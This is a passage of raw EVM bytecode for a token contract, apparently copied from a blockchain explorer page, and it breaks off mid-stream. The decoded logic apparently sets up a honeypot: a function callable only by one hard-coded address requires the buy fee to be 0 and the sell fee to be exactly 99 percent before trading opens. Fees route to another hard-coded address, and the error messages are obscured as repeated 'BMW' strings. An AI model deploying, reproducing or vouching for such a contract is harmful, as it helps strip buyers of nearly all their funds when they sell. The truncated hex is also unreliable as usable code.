11f119190612ec7565b60405180910390a3600191505092915050565b73ea73fa707de37c97d02ae69b7360d73e4197961f73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9d9061334a565b60405180910390fd5b600a5f9054906101000a900460ff1615611ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fec906133b2565b60405180910390fd5b5f8214612037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202e9061341a565b60405180910390fd5b6063811461207a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207190613482565b60405180910390fd5b81600881905550806009819055506001600a5f6101000a81548160ff0219169083151502179055506001600a60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516120ee9291906134a0565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600a60029054906101000a900460ff16806121a15750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806121d05750600a5f9054906101000a900460ff161580156121cf5750600a60019054906101000a900460ff165b5b806122915750600a5f9054906101000a900460ff1680156122375750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015612290575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806122f5575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156122f457505f600954145b5b612334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232b906130da565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156123b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ab90613511565b60405180910390fd5b600a60019054906101000a900460ff16156127b4575f808390505f60095411801561242c575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b801561247f5750600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156124c4576124ac606461249e60095487612b5e90919063ffffffff16565b612bd590919063ffffffff16565b91506124c18285612c2c90919063ffffffff16565b90505b6125148460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506125c68160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126a69190612ec7565b60405180910390a35f8211156127ad576127068260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127a49190612ec7565b60405180910390a35b505061299f565b6128048260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128b68260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516129969190612ec7565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a299061327a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612aa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a9790613579565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612b6e575f9050612bcf565b5f8284612b7b91906135c4565b9050828482612b8a9190613632565b14612bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bc1906136ac565b60405180910390fd5b809150505b92915050565b5f808211612c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0f90613714565b60405180910390fd5b8183612c249190613632565b905092915050565b5f82821115612c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c679061377c565b60405180910390fd5b8183612c7c919061379a565b905092915050565b5f808284612c9291906137cd565b905083811015612cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cce9061384a565b60405180910390fd5b8091505092915050565b5f80fd5b5f819050919050565b612cf781612ce5565b8114612d01575f80fd5b50565b5f81359050612d1281612cee565b92915050565b5f60208284031215612d2d57612d2c612ce1565b5b5f612d3a84828501612d04565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612d7a578082015181840152602081019050612d5f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612d9f82612d43565b612da98185612d4d565b9350612db9818560208601612d5d565b612dc281612d85565b840191505092915050565b5f6020820190508181035f830152612de58184612d95565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e1682612ded565b9050919050565b612e2681612e0c565b8114612e30575f80fd5b50565b5f81359050612e4181612e1d565b92915050565b5f8060408385031215612e5d57612e5c612ce1565b5b5f612e6a85828601612e33565b9250506020612e7b85828601612d04565b9150509250929050565b5f8115159050919050565b612e9981612e85565b82525050565b5f602082019050612eb25f830184612e90565b92915050565b612ec181612ce5565b82525050565b5f602082019050612eda5f830184612eb8565b92915050565b5f805f60608486031215612ef757612ef6612ce1565b5b5f612f0486828701612e33565b9350506020612f1586828701612e33565b9250506040612f2686828701612d04565b9150509250925092565b5f60ff82169050919050565b612f4581612f30565b82525050565b5f602082019050612f5e5f830184612f3c565b92915050565b5f60208284031215612f7957612f78612ce1565b5b5f612f8684828501612e33565b91505092915050565b612f9881612e0c565b82525050565b5f602082019050612fb15f830184612f8f565b92915050565b5f8060408385031215612fcd57612fcc612ce1565b5b5f612fda85828601612d04565b9250506020612feb85828601612d04565b9150509250929050565b5f806040838503121561300b5761300a612ce1565b5b5f61301885828601612e33565b925050602061302985828601612e33565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061307757607f821691505b60208210810361308a57613089613033565b5b50919050565b7f424d57424d57424d57424d57424d5700000000000000000000000000000000005f82015250565b5f6130c4600f83612d4d565b91506130cf82613090565b602082019050919050565b5f6020820190508181035f8301526130f1816130b8565b9050919050565b7f31424d57000000000000000000000000000000000000000000000000000000005f82015250565b5f61312c600483612d4d565b9150613137826130f8565b602082019050919050565b5f6020820190508181035f83015261315981613120565b9050919050565b7f32424d57000000000000000000000000000000000000000000000000000000005f82015250565b5f613194600483612d4d565b915061319f82613160565b602082019050919050565b5f6020820190508181035f8301526131c181613188565b9050919050565b7f33424d57000000000000000000000000000000000000000000000000000000005f82015250565b5f6131fc600483612d4d565b9150613207826131c8565b602082019050919050565b5f6020820190508181035f830152613229816131f0565b9050919050565b7f424d57424d57424d57424d57424d57424d5700000000000000000000000000005f82015250565b5f613264601283612d4d565b915061326f82613230565b602082019050919050565b5f6020820190508181035f83015261329181613258565b9050919050565b7f39424d57000000000000000000000000000000000000000000000000000000005f82015250565b5f6132cc600483612d4d565b91506132d782613298565b602082019050919050565b5f6020820190508181035f8301526132f9816132c0565b9050919050565b7f35424d57000000000000000000000000000000000000000000000000000000005f82015250565b5f613334600483612d4d565b915061333f82613300565b602082019050919050565b5f6020820190508181035f83015261336181613328565b9050919050565b7f36424d57000000000000000000000000000000000000000000000000000000005f82015250565b5f61339c600483612d4d565b91506133a782613368565b602082019050919050565b5f6020820190508181035f8301526133c981613390565b9050919050565b7f37424d57000000000000000000000000000000000000000000000000000000005f82015250565b5f613404600483612d4d565b915061340f826133d0565b602082019050919050565b5f6020820190508181035f830152613431816133f8565b9050919050565b7f38424d57000000000000000000000000000000000000000000000000000000005f82015250565b5f61346c600483612d4d565b915061347782613438565b602082019050919050565b5f6020820190508181035f83015261349981613460565b9050919050565b5f6040820190506134b35f830185612eb8565b6134c06020830184612eb8565b9392505050565b7f30424d57000000000000000000000000000000000000000000000000000000005f82015250565b5f6134fb600483612d4d565b9150613506826134c7565b602082019050919050565b5f6020820190508181035f830152613528816134ef565b9050919050565b7f34424d57000000000000000000000000000000000000000000000000000000005f82015250565b5f613563600483612d4d565b915061356e8261352f565b602082019050919050565b5f6020820190508181035f83015261359081613557565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6135ce82612ce5565b91506135d983612ce5565b92508282026135e781612ce5565b915082820484148315176135fe576135fd613597565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61363c82612ce5565b915061364783612ce5565b92508261365757613656613605565b5b828204905092915050565b7f424d57424d57424d5700000000000000000000000000000000000000000000005f82015250565b5f613696600983612d4d565b91506136a182613662565b602082019050919050565b5f6020820190508181035f8301526136c38161368a565b9050919050565b7f424d57424d57424d57424d5700000000000000000000000000000000000000005f82015250565b5f6136fe600c83612d4d565b9150613709826136ca565b602082019050919050565b5f6020820190508181035f83015261372b816136f2565b9050919050565b7f424d5700000000000000000000000000000000000000000000000000000000005f82015250565b5f613766600383612d4d565b915061377182613732565b602082019050919050565b5f6020820190508181035f8301526137938161375a565b9050919050565b5f6137a482612ce5565b91506137af83612ce5565b92508282039050818111156137c7576137c6613597565b5b92915050565b5f6137d782612ce5565b91506137e283612ce5565b92508282019050808211156137fa576137f9613597565b5b92915050565b7f424d57424d5700000000000000000000000000000000000000000000000000005f82015250565b5f613834600683612d4d565b915061383f82613800565b602082019050919050565b5f6020820190508181035f83015261386181613828565b905091905056fea264697066735822122092b8d0a8cf2e1a32f9bf4d4d3fc4b09f002bb2e601af2509dfc12e544412def864736f6c63430008150033000000000000000000000000ea73fa707de37c97d02ae69b7360d73e4197961f

Deployed Bytecode

0x60806040526004361061013f575f3560e01c806370a08231116100b5578063a9059cbb1161006e578063a9059cbb1461041f578063b390c0ab1461045b578063c31c9c0714610483578063dd62ed3e146104ad578063e4849b32146104e9578063f2fde38b146105115761013f565b806370a0823114610345578063715018a6146103815780638da5cb5b1461039757806395d89b41146103c1578063a64e4f8a146103eb578063a6f2ae3a146104155761013f565b806325e0e4d01161010757806325e0e4d0146102375780632b14ca5614610261578063313ce5671461028b5780633f4218e0146102b557806347062402146102f157806364bcf5f41461031b5761013f565b8063036978631461014357806306fdde031461016b578063095ea7b31461019557806318160ddd146101d157806323b872dd146101fb575b5f80fd5b34801561014e575f80fd5b5061016960048036038101906101649190612d18565b610539565b005b348015610176575f80fd5b5061017f61058a565b60405161018c9190612dcd565b60405180910390f35b3480156101a0575f80fd5b506101bb60048036038101906101b69190612e47565b610615565b6040516101c89190612e9f565b60405180910390f35b3480156101dc575f80fd5b506101e5610702565b6040516101f29190612ec7565b60405180910390f35b348015610206575f80fd5b50610221600480360381019061021c9190612ee0565b610708565b60405161022e9190612e9f565b60405180910390f35b348015610242575f80fd5b5061024b611254565b6040516102589190612e9f565b60405180910390f35b34801561026c575f80fd5b50610275611266565b6040516102829190612ec7565b60405180910390f35b348015610296575f80fd5b5061029f61126c565b6040516102ac9190612f4b565b60405180910390f35b3480156102c0575f80fd5b506102db60048036038101906102d69190612f64565b61127e565b6040516102e89190612e9f565b60405180910390f35b3480156102fc575f80fd5b5061030561129b565b6040516103129190612ec7565b60405180910390f35b348015610326575f80fd5b5061032f6112a1565b60405161033c9190612e9f565b60405180910390f35b348015610350575f80fd5b5061036b60048036038101906103669190612f64565b6112b4565b6040516103789190612ec7565b60405180910390f35b34801561038c575f80fd5b506103956112c9565b005b3480156103a2575f80fd5b506103ab611415565b6040516103b89190612f9e565b60405180910390f35b3480156103cc575f80fd5b506103d561143a565b6040516103e29190612dcd565b60405180910390f35b3480156103f6575f80fd5b506103ff6114c6565b60405161040c9190612e9f565b60405180910390f35b61041d6114d9565b005b34801561042a575f80fd5b5061044560048036038101906104409190612e47565b611b1c565b6040516104529190612e9f565b60405180910390f35b348015610466575f80fd5b50610481600480360381019061047c9190612fb7565b611f24565b005b34801561048e575f80fd5b506104976120fa565b6040516104a49190612f9e565b60405180910390f35b3480156104b8575f80fd5b506104d360048036038101906104ce9190612ff5565b61211f565b6040516104e09190612ec7565b60405180910390f35b3480156104f4575f80fd5b5061050f600480360381019061050a9190612d18565b61213f565b005b34801561051c575f80fd5b5061053760048036038101906105329190612f64565b6129a3565b005b3373ffffffffffffffffffffffffffffffffffffffff167fb6e8f04cf03b5aef7f64b05be34717ced7ad18d9e25d848dcd9542d070ce2ddb8260405161057f9190612ec7565b60405180910390a250565b5f805461059690613060565b80601f01602080910402602001604051908101604052809291908181526020018280546105c290613060565b801561060d5780601f106105e45761010080835404028352916020019161060d565b820191905f5260205f20905b8154815290600101906020018083116105f057829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106f09190612ec7565b60405180910390a36001905092915050565b60025481565b5f83600a60029054906101000a900460ff168061076b5750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061079a5750600a5f9054906101000a900460ff161580156107995750600a60019054906101000a900460ff165b5b8061085b5750600a5f9054906101000a900460ff1680156108015750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561085a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806108bf575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156108be57505f600954145b5b6108fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f5906130da565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561097e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097590613142565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a30906131aa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9e90613212565b60405180910390fd5b5f80849050600a60019054906101000a900460ff168015610ac957505f600954115b8015610b22575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610b755750600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610bba57610ba26064610b9460095488612b5e90919063ffffffff16565b612bd590919063ffffffff16565b9150610bb78286612c2c90919063ffffffff16565b90505b610c0a8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c9b8160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d399190612ec7565b60405180910390a35f821115610f88575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610e8f57610de48360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e829190612ec7565b60405180910390a3610f86565b610edf8360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f7d9190612ec7565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561105c57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b15611246576110ec8560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161123d9190612ec7565b60405180910390a35b600193505050509392505050565b600a5f9054906101000a900460ff1681565b60095481565b60035f9054906101000a900460ff1681565b600b602052805f5260405f205f915054906101000a900460ff1681565b60085481565b600a60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134f9061327a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461144790613060565b80601f016020809104026020016040519081016040528092919081815260200182805461147390613060565b80156114be5780601f10611495576101008083540402835291602001916114be565b820191905f5260205f20905b8154815290600101906020018083116114a157829003601f168201915b505050505081565b600a60019054906101000a900460ff1681565b33600a60029054906101000a900460ff168061153b5750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061156a5750600a5f9054906101000a900460ff161580156115695750600a60019054906101000a900460ff165b5b8061162b5750600a5f9054906101000a900460ff1680156115d15750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561162a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b8061168f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561168e57505f600954145b5b6116ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c5906130da565b60405180910390fd5b5f3411611710576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611707906132e2565b60405180910390fd5b5f3490505f60085411156119be575f611747606461173960085485612b5e90919063ffffffff16565b612bd590919063ffffffff16565b90505f61175d8284612c2c90919063ffffffff16565b90506117d08160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118b09190612ec7565b60405180910390a35f8211156119b7576119108260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119ae9190612ec7565b60405180910390a35b5050611b18565b611a2f8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b0f9190612ec7565b60405180910390a35b5050565b5f33600a60029054906101000a900460ff1680611b7f5750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611bae5750600a5f9054906101000a900460ff16158015611bad5750600a60019054906101000a900460ff165b5b80611c6f5750600a5f9054906101000a900460ff168015611c155750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611c6e575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611cd3575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611cd257505f600954145b5b611d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d09906130da565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611d5b575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611d92575f80fd5b611de28360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611e738360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f119190612ec7565b60405180910390a3600191505092915050565b73ea73fa707de37c97d02ae69b7360d73e4197961f73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9d9061334a565b60405180910390fd5b600a5f9054906101000a900460ff1615611ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fec906133b2565b60405180910390fd5b5f8214612037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202e9061341a565b60405180910390fd5b6063811461207a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207190613482565b60405180910390fd5b81600881905550806009819055506001600a5f6101000a81548160ff0219169083151502179055506001600a60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516120ee9291906134a0565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600a60029054906101000a900460ff16806121a15750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806121d05750600a5f9054906101000a900460ff161580156121cf5750600a60019054906101000a900460ff165b5b806122915750600a5f9054906101000a900460ff1680156122375750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015612290575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806122f5575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156122f457505f600954145b5b612334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232b906130da565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156123b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ab90613511565b60405180910390fd5b600a60019054906101000a900460ff16156127b4575f808390505f60095411801561242c575060075f9054906101000a900473ffff